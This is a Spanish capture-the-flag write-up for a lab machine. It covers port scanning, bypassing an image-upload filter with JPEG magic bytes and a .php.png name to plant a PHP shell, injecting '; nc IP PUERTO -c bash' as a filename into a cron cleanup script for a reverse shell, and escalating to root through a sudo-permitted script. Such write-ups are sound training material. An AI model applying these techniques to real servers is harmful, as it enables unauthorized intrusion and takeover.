Valoraciones:

Escaneo de puertos:

Nmap scan report for 10.10.10.146
Host is up (0.10s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Enumeración

Accedemos al servidor web.

Enumeramos directorios.

http://10.10.10.146/index.php (Status: 200)
http://10.10.10.146/upload.php (Status: 200)
http://10.10.10.146/lib.php (Status: 200)
http://10.10.10.146/photos.php (Status: 200)
http://10.10.10.146/uploads (Status: 301)
http://10.10.10.146/backup (Status: 301)

Nos centramos primero en /backup y descargamos el contenido.

Explotación

Extraemos el contenido y vemos que es el backend en php. Tras un rato para entender el funcionamiento del código, conseguimos subir nuestra shell.

Contenido del código:

upload.php

photos.php

lib.php

Tras estudiar el código y hacer un par de pruebas, subimos nuestra shell cumpliendo los requisitos.

Magic Bytes de los archivos jpeg para que el servidor crea que es un jpeg, el código php que queremos que se ejecute al visitar el archivo en /uploads y de nombre X.php.png porque el servidor solo acepta imágenes y necesitamos el .php para que el código se ejecute.

Visitando /photos.php vemos que se ha subido (y el servidor no lo previsualiza porque el contenido no es una foto).

Si inspeccionamos el elemento nos muestra su ruta.

Si visitamos esa ruta se ejecuta nuestro código.

 [*] Meterpreter session 1 opened (10.10.14.58:8888 -> 10.10.10.146:33910) at 2019-09-08 17:12:03 +0200

Post-Explotación

Una vez dentro, en la carpeta /home/guly tenemos un script que analiza la carpeta uploads en busca de intrusiones, y si la detecta elimina el archivo y envía un mail a guly.

Básicamente, el script detecta si hay un archivo que no ha pasado el filtro de subida del backend del servidor (se le añade la ip origen del archivo al propio nombre del archivo: 127.0.0.1.png). Si hay un archivo que no ha pasado el filtro, lo elimina.

Línea en la que vamos a inyectar nuestro comando:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

Debido a que controlamos la variable $value (el nombre de nuestro archivo), vamos a hacer que nos llegue una reverse shell con los permisos de guly. Para eso, subimos un archivo con este nombre: “; nc IP PUERTO -c bash” (El punto y coma se pone para saltar a un comando nuevo y que el anterior no se pegue al nuestro).

Cuando el cronjob se ejecute, tendremos nuestra shell.

Ya podremos conseguir la flag del usuario en /home/guly/user.txt

Enumerando lo que podemos hacer ahora con estos permisos, sudo -l nos devuelve esto:

Esto dice que podemos correr ese script como root sin necesidad de proporcionar una contraseña para root.

changename.sh

Este script recogerá los parámetros que le pasemos, los meterá en un archivo de configuración de red y lo ejecutará con permisos de root para intentar levantar dichos ajustes. Es tan simple como escribir “echo sh” y nos popeará una shell con permisos de root.

Si has llegado hasta aquí, gracias por leerme! Nos vemos en el siguiente Writeup.